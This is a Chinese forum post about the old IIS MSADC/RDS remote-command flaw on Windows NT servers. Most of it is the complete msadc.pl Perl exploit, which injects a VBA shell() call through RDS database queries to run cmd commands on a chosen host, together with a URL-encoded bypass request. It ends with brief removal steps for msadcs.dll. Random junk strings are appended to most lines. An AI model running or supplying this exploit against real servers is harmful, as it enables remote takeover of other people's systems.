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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1)M>vdrP  
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涉及程序: qN_jsJ  
Microsoft NT server T=2 91)@  
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描述: b-+iL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `+QrgtcEy4  
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详细: hQgi--Msw'  
如果你没有时间读详细内容的话,就删除: ,*V{g pC7  
c:\Program Files\Common Files\System\Msadc\msadcs.dll !g~xn2m$R  
有关的安全问题就没有了。 |&TRN1  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 @Tr8.4  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 T{j&w%(z  
关于利用ODBC远程漏洞的描述,请参看: _>*$%R  
A_@#V)D2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm . \fzK  
p]#%e0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /\_ s  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #f@sq5pTO  
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这里不再论述。 4jrY3gyBX  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: J%_ :A"  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset D{/GjFO  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! nQvv'%v0   
%c(':vI#  
hun/H4f|  
#将下面这段保存为txt文件,然后: "perl -x 文件名" l23#"gGb  
K$\]\qG6  
#!perl VHB5  
# A=|&N%lP'  
# MSADC/RDS 'usage' (aka exploit) script O&irgc!  
# %Ow,.+m  
# by rain.forest.puppy ,y?0Iwf  
# x5 3 aGi|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <$HP"f+<S5  
# beta test and find errors! f|_iHY  
Ssr P  
use Socket; use Getopt::Std; 6546"sU  
getopts("e:vd:h:XR", \%args); ;e_n7>'#%  
^'C1VQ%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; R b6` k^  
0AFjO)  
if (!defined $args{h} && !defined $args{R}) { >e"CpbZ'  
print qq~ Wgdij11e  
Usage: msadc.pl -h <host> { -d <delay> -X -v } j#0@%d  
-h <host> = host you want to scan (ip or domain) &B7X LO[  
-d <seconds> = delay between calls, default 1 second uQ{ &x6.1  
-X = dump Index Server path table, if available 2rf-pdOvG  
-v = verbose D'#Wc#b  
-e = external dictionary file for step 5 5+'1 :Sa(i  
m Fwx},dl  
Or a -R will resume a command session qv=i eU  
"wTA9\  
~; exit;} ]Z@- r  
' Ky5|4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; W)?B{\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} hO@'WoniW  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} X) xQKkL0  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Y:/z)"u,C  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} SV}I+O_w  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } W :jC2,s!m  
WeE>4>^  
if (!defined $args{R}){ $ret = &has_msadc; Y+sycdq  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} c63DuHA*C  
Y|g8xkI}XB  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" '$PiyM|V  
. "cmd /c "; Qhsh{muw(  
$in=<STDIN>; chomp $in; /A4zR  
$command="cmd /c " . $in ; 4E}/{1  
9#iu#?*B  
if (defined $args{R}) {&load; exit;} diGPTV-?$  
 =h\,-8  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;dNKe.`Dg  
&try_btcustmr; cRK1JxU  
[GX5jD#  
print "\nStep 2: Trying to make our own DSN..."; JV Fn=Mw  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _1 f!9ghT\  
\SS1-UbL  
print "\nStep 3: Trying known DSNs..."; <|~X,g;f  
&known_dsn; u!];RHOp|  
)}1 J.>5  
print "\nStep 4: Trying known .mdbs..."; r%JJ5Al.S  
&known_mdb; hdp;/Qz&  
S.aSNH<  
if (defined $args{e}){ 3@*J=LGhKc  
print "\nStep 5: Trying dictionary of DSN names..."; KQj5o>} 6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *pCT34'--  
J84Q|E  
print "Sorry Charley...maybe next time?\n"; lO9ML-8C1  
exit; WrQe'ny  
c%yhODq/  
############################################################################## %,E\8{I+  
 PW x9CT  
sub sendraw { # ripped and modded from whisker +;tXk  
sleep($delay); # it's a DoS on the server! At least on mine... U@!e&QPn  
my ($pstr)=@_; +LCpE$H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || F??})YX  
die("Socket problems\n"); o nt8q8  
if(connect(S,pack "SnA4x8",2,80,$target)){ D$+9`  
select(S); $|=1; T$)&8"Xya  
print $pstr; my @in=<S>; +Fp8cT=1  
select(STDOUT); close(S); Fx*iAH\e  
return @in; H[UV]qO,  
} else { die("Can't connect...\n"); }} -uXf?sTV  
(;;%B=  
############################################################################## *Fb]lM7D  
k*d0ws#<l  
sub make_header { # make the HTTP request @k>}h\w  
my $msadc=<<EOT +] >o@  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Eq=~SO%  
User-Agent: ACTIVEDATA OZ3iH%  
Host: $ip -/Pg[Lx7Pb  
Content-Length: $clen HKbyi~8N=  
Connection: Keep-Alive m-4P*P$X  
1%68Pnqk  
ADCClientVersion:01.06 ABw:SQ6=Q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  eme7y  
nj$TdwZbK  
--!ADM!ROX!YOUR!WORLD! Kur3Gf X  
Content-Type: application/x-varg :*Lr(-N-  
Content-Length: $reqlen 7)tkqfb]  
~v"4;A 6  
EOT @&p:J0hbp  
; $msadc=~s/\n/\r\n/g; uT:'Kkb!  
return $msadc;} :jlKj}4A  
3oc p4x`[  
############################################################################## E1IT>_  
Fcz7   
sub make_req { # make the RDS request 4u- mE  
my ($switch, $p1, $p2)=@_; #m=TK7*v  
my $req=""; my $t1, $t2, $query, $dsn; vVQwuV  
)voJq\Y)%  
if ($switch==1){ # this is the btcustmr.mdb query S-l<+O1fy  
$query="Select * from Customers where City=" . make_shell(); q#B=PZ'NA  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Ut.%=o;&[  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} m/@ ;N,K  
!Hq$7j_  
elsif ($switch==2){ # this is general make table query 2o2jDQ|7  
$query="create table AZZ (B int, C varchar(10))"; @6\Id7`Ea  
$dsn="$p1";} KT$Za  
R8LJC]6Bh  
elsif ($switch==3){ # this is general exploit table query ovm109fTx  
$query="select * from AZZ where C=" . make_shell(); V>D8l @  
$dsn="$p1";} dt&m YSZ}  
(7Su{tq  
elsif ($switch==4){ # attempt to hork file info from index server P/i{_r  
$query="select path from scope()"; hOZ:r =%  
$dsn="Provider=MSIDXS;";} O*0%AjT6  
c\A 4-08  
elsif ($switch==5){ # bad query \PReQ|[ah  
$query="select"; {Tx"G9  
$dsn="$p1";} 'u@,,FFz[K  
gQ90>P:  
$t1= make_unicode($query); >NLG"[\  
$t2= make_unicode($dsn); rlxZ,]ul  
$req = "\x02\x00\x03\x00"; wW &q)WOi  
$req.= "\x08\x00" . pack ("S1", length($t1)); hOFC8g  
$req.= "\x00\x00" . $t1 ; O0^m_  
$req.= "\x08\x00" . pack ("S1", length($t2)); )Y4;@pEU  
$req.= "\x00\x00" . $t2 ; W]Bc7JM]T+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #gW"k;7P  
return $req;} HiAj3  
7PTw'+{  
############################################################################## nv$>iJ^~H  
5j'7V1:2  
sub make_shell { # this makes the shell() statement jW]Q-  
return "'|shell(\"$command\")|'";} BoJpf8e'-e  
bu0i #  
############################################################################## atr 0hmQ  
u@&e{w~0  
sub make_unicode { # quick little function to convert to unicode 0O>T{<  
my ($in)=@_; my $out; Qe,jK{Y< -  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } o3b=)E  
return $out;} Me;XG?`  
/q1k)4?E  
############################################################################## YV%y KD  
~mBY_[_s=  
sub rdo_success { # checks for RDO return success (this is kludge) }2xgm9j<  
my (@in) = @_; my $base=content_start(@in); e={ ?d6  
if($in[$base]=~/multipart\/mixed/){ BD.&K_AW  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} arK(dg~S  
return 0;} 3Z0ez?p+5  
 4,g_$)  
############################################################################## RE._Ov>  
} H#C<:A  
sub make_dsn { # this makes a DSN for us _uXb 9  
my @drives=("c","d","e","f"); Cb4.N 8  
print "\nMaking DSN: "; \/XU v(  
foreach $drive (@drives) { %f)%FN . S  
print "$drive: "; 79&=MTM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . C#qF&n  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ._%8H  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Jb/VITqN4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; @LSfP  
return 0 if $2 eq "404"; # not found/doesn't exist B:)PUBb  
if($2 eq "200") { P5Bva  
foreach $line (@results) { G*s5GG@Z.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} , wXixf2  
} return 0;} H 0( .p'eN  
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############################################################################## J]W? V vv  
xe"A;6H  
sub verify_exists { !LR9}Xon  
my ($page)=@_; JUXo3D~  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~"J7=u1o  
return $results[0];} kxQ al  
mX2X.ww(4  
############################################################################## jXPf}{^  
-,186ZVZ  
sub try_btcustmr { 4 :phq  
my @drives=("c","d","e","f"); -M6#,Ji  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /+wCx#!  
73j\!x  
foreach $dir (@dirs) { }!uwWBw`  
print "$dir -> "; # fun status so you can see progress Gq=tR`.  
foreach $drive (@drives) { !L[$t~z  
print "$drive: "; # ditto ECsb?n7e  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; B#]:1:Qn  
$reqlenlen=length( "$reqlen" ); we0haK  
$clen= 206 + $reqlenlen + $reqlen; ke<l@w O  
y_``-F&Z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @Os0A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} I*z|_}$  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8\F|{vt#  
i);BTwW)#]  
############################################################################## uS<og P  
qWU59:d^{  
sub odbc_error { y@h v#;  
my (@in)=@_; my $base; Xv+!) j<  
my $base = content_start(@in); QVF561Yz  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this yi8AzUW cW  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fBb:J+  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !k<k]^Z\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vYybQ&E/  
return $in[$base+4].$in[$base+5].$in[$base+6];} (]Q0L{~K  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; C%#w1k  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #/"Tb ^c9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} C>Q|"Vf2  
%H[~V f?d  
############################################################################## e/uLBZ  
}#q0K  
sub verbose { DzbcLg%:W  
my ($in)=@_; Xz?7x0)Z  
return if !$verbose; !q~f;&rg  
print STDOUT "\n$in\n";} 1! j^  
hzk4SOT(  
############################################################################## xyP 0haE  
},=ORIB B:  
sub save { u+9)B 6O1  
my ($p1, $p2, $p3, $p4)=@_; 6<%b}q9Mo  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~Qd|.T  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; au E8 ^|  
close OUT;} ,V9 r2QY  
.?5~zet#;  
############################################################################## bzaweA H  
&lo<sbd.  
sub load { HHerL%/   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; hWiHKR]  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); SmS6B5j\R  
@p=<IN>; close(IN); l\"CHwN?Y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ?e%u[Q0  
$target= inet_aton($ip) || die("inet_aton problems"); 8M0<:p/  
print "Resuming to $ip ..."; 29nMm>P.e  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; +W/{UddeKU  
if($p[1]==1) { TtrV -X>L  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; .E 9$j<SP-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 610u!_-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )8taMC:H^  
if (rdo_success(@results)){print "Success!\n";} b\^1P;!'W  
else { print "failed\n"; verbose(odbc_error(@results));}} 8ly Ng w1  
elsif ($p[1]==3){ FzOlM-)m   
if(run_query("$p[3]")){ v8 II=9  
print "Success!\n";} else { print "failed\n"; }} </B:Zjn  
elsif ($p[1]==4){ %EYh*g{G  
if(run_query($drvst . "$p[3]")){ gW?Hd/  
print "Success!\n"; } else { print "failed\n"; }} tiy#b8  
exit;} o4^#W;%w  
BC85#sbl  
############################################################################## I-Q(kWc  
L<G6)'5W  
sub create_table { i)/#u+Y1P  
my ($in)=@_; \'X-><1  
$reqlen=length( make_req(2,$in,"") ) - 28; M<x><U#]A  
$reqlenlen=length( "$reqlen" ); t]{, 7.S  
$clen= 206 + $reqlenlen + $reqlen; y#P _ }Kfo  
my @results=sendraw(make_header() . make_req(2,$in,"")); E*yot[kj  
return 1 if rdo_success(@results); C,8@V`  
my $temp= odbc_error(@results); verbose($temp); g2vt(Gf;  
return 1 if $temp=~/Table 'AZZ' already exists/; mC$ te  
return 0;} ?es9j]  
|}: D_TX  
############################################################################## l}FA&c"  
+ jN)$Y3Ya  
sub known_dsn { Bnz}:te}  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go gF]IAZCi  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", P@<K&S+f  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", " ;o, D  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); vos-[$  
ZSB;4 ?:h  
foreach $dSn (@dsns) { fc<,kRp  
print "."; #bb$Icmtk  
next if (!is_access("DSN=$dSn")); rW)}$|-Z  
if(create_table("DSN=$dSn")){ PKev)M;C+  
print "$dSn successful\n"; k#2b3}(,  
if(run_query("DSN=$dSn")){ Qqd+=mgc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #UnGU,J  
print "Something's borked. Use verbose next time\n";}}} print "\n";} QZ5%nJme_  
FC4hvO(/m  
############################################################################## qvs[Gkaa@  
>`n)-8  
sub is_access { :U faMe5  
my ($in)=@_; V.!z9AQ  
$reqlen=length( make_req(5,$in,"") ) - 28; ioslarw1J  
$reqlenlen=length( "$reqlen" ); xw*/8.Md6f  
$clen= 206 + $reqlenlen + $reqlen; 0a+U >S#  
my @results=sendraw(make_header() . make_req(5,$in,"")); C?rb}(m  
my $temp= odbc_error(@results); ']sIU;h3  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ZV!*ZpTe~  
return 0;} HmV JkkksJ  
#b1/2=PA  
############################################################################## ai)?RF  
lC^?Jk[N  
sub run_query { `J}FSUn\  
my ($in)=@_; (DM8PtZg  
$reqlen=length( make_req(3,$in,"") ) - 28; d 8z9_C-  
$reqlenlen=length( "$reqlen" ); L @8[.  
$clen= 206 + $reqlenlen + $reqlen; c- [IgX e  
my @results=sendraw(make_header() . make_req(3,$in,"")); WWA!_  
return 1 if rdo_success(@results); )IuwI#pm  
my $temp= odbc_error(@results); verbose($temp); 'fIG$tr9X  
return 0;} =/N0^  
=Q8$O 2TW  
############################################################################## YY$O"!."  
hw&~OJeo  
sub known_mdb { tY?evsVgz  
my @drives=("c","d","e","f","g"); 6}_J;g\|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Bn Nu/02.=  
my $dir, $drive, $mdb; ]Wc 2$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #~6X9,x=  
HmpV; <t3  
# this is sparse, because I don't know of many (Jy > ,~O  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *%dWNvN4X  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", !M k]%  
"\\system32\\certmdb.mdb", Z?'?+48xv4  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Wp=:|J   
0urM@/j+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", P' k`H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", M-5zsN  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !?m8UE  
"\\cfusion\\cfapps\\security\\realm_.mdb", =(,dI [v  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Rx4O?7;  
"\\cfusion\\database\\cfexamples.mdb", L;' v,s  
"\\cfusion\\database\\cfsnippets.mdb", \fC}l Ll  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .7H* F9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `"|u NVn  
"\\cfusion\\brighttiger\\database\\cleam.mdb", G]I^zd&P  
"\\cfusion\\database\\smpolicy.mdb", ?tYc2R9x6"  
"\\cfusion\\database\cypress.mdb", R(A"6a8*  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !xD_=O  
"\\website\\cgi-win\\dbsample.mdb", 28o!>*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", O:X|/g0Y  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" gd;e-.  
); #these are just }x:nhy`  
foreach $drive (@drives) { EJO6k1  
foreach $dir (@dirs){ bhT:MW!  
foreach $mdb (@sysmdbs) { nIqmora  
print "."; Jz)c|8U  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `L "{sW6S  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; SZC1$..2T  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 5,?Au  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; j=w`%nh4"f  
} else { print "Something's borked. Use verbose next time\n"; }}}}} qo0]7m7|  
q*{Dy1Tj  
foreach $drive (@drives) { xW'(]Z7_  
foreach $mdb (@mdbs) { +tFl  
print "."; 4";[Xr{pW  
if(create_table($drv . $drive . $dir . $mdb)){ ,:/3'L  
print "\n" . $drive . $dir . $mdb . " successful\n"; %D*yXNsY  
if(run_query($drv . $drive . $dir . $mdb)){ AlT04H   
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; rxAb]~MMp  
} else { print "Something's borked. Use verbose next time\n"; }}}} p"/B3  
} z,=k F I  
.JL?RH2@8  
############################################################################## 9@z"~H  
TWJ%? /d  
sub hork_idx { ?1MaA  
print "\nAttempting to dump Index Server tables...\n"; v]BMET[w  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; )Waz bT@  
$reqlen=length( make_req(4,"","") ) - 28; u:&Lf  
$reqlenlen=length( "$reqlen" ); G |vG5$Nf  
$clen= 206 + $reqlenlen + $reqlen; 97(*-e=e  
my @results=sendraw2(make_header() . make_req(4,"","")); 9p<ZSh  
if (rdo_success(@results)){ T=->~@5  
my $max=@results; my $c; my %d; C9FQo7   
for($c=19; $c<$max; $c++){ 8Dy;'BtT  
$results[$c]=~s/\x00//g; k-\RdX)E  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +0WI;M4i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s:#\U!>0`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /CN`U7:E  
$d{"$1$2"}="";} [P746b_\e  
foreach $c (keys %d){ print "$c\n"; } )k|_ CW~  
} else {print "Index server doesn't seem to be installed.\n"; }} n6 a=(T  
AIFI@#3  
############################################################################## 6'qC *r   
m%km@G$  
sub dsn_dict { [D%5Fh\0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); uVw|fT  
while(<IN>){ -?68%[4lm_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -.X-02  
next if (!is_access("DSN=$dSn")); <Xr {1M D  
if(create_table("DSN=$dSn")){ Ox1#}7`0>  
print "$dSn successful\n"; R7d45Wl  
if(run_query("DSN=$dSn")){  ,L}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { pe$l'ur  
print "Something's borked. Use verbose next time\n";}}} |\MgE.N  
print "\n"; close(IN);} m dTCe HX  
vMV}M%~  
############################################################################## d% :   
/^<Uy3F[p  
sub sendraw2 { # ripped and modded from whisker [q{[Avqf  
sleep($delay); # it's a DoS on the server! At least on mine... S( r Fa  
my ($pstr)=@_; u4a(AB>S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8/dx)*JCq  
die("Socket problems\n"); u:f.g?!`"  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7U\GX  
print "Connected. Getting data"; G>);8T%l  
open(OUT,">raw.out"); my @in; nuip  
select(S); $|=1; print $pstr; X]OVc<F  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} F"<TV&xf  
close(OUT); select(STDOUT); close(S); return @in; Ma,2_oq+  
} else { die("Can't connect...\n"); }} ]V K%6PQ0  
]hL `HP  
############################################################################## t$lO~~atr  
zg2}R4h  
sub content_start { # this will take in the server headers <,!e*V*U  
my (@in)=@_; my $c; AsW!GdIN  
for ($c=1;$c<500;$c++) { hc;8Vsa  
if($in[$c] =~/^\x0d\x0a/){ RrGFGn{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } MIJ^ n(-G  
else { return $c+1; }}} 0qj:v"~Q  
return -1;} # it should never get here actually #r}O =izi  
_3YuPMaN  
############################################################################## M3U*'A\  
zFqlTUD`t  
sub funky { VNcxST15a  
my (@in)=@_; my $error=odbc_error(@in); wjm_bEi  
if($error=~/ADO could not find the specified provider/){ |99/?T-QW  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; eZMDtB  
exit;} V6C*d:  
if($error=~/A Handler is required/){ =x/Ap1  
print "\nServer has custom handler filters (they most likely are patched)\n"; bZ$;`F5})  
exit;} dyz)22{\!`  
if($error=~/specified Handler has denied Access/){ %9!, PeRe  
print "\nServer has custom handler filters (they most likely are patched)\n"; R"9^FQ13  
exit;}} "Vg1'd}f  
3S~Gi,  
############################################################################## M(a lc9tn  
 ju-tx :  
sub has_msadc { )oRF/Xx`g  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); `H.~ # $  
my $base=content_start(@results); ,X05&'@Z  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); a$*)d($  
return 0;} oXef<- :  
Qt@_C*,P  
######################## +y$%S4>0tp  
1'[RrJ$Q  
 0#AS>K5  
解决方案: F?wfh7q  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N<|_tC+ct  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 J3F-Yl|  
hmRnr=2N  
拿出来充数 哈哈
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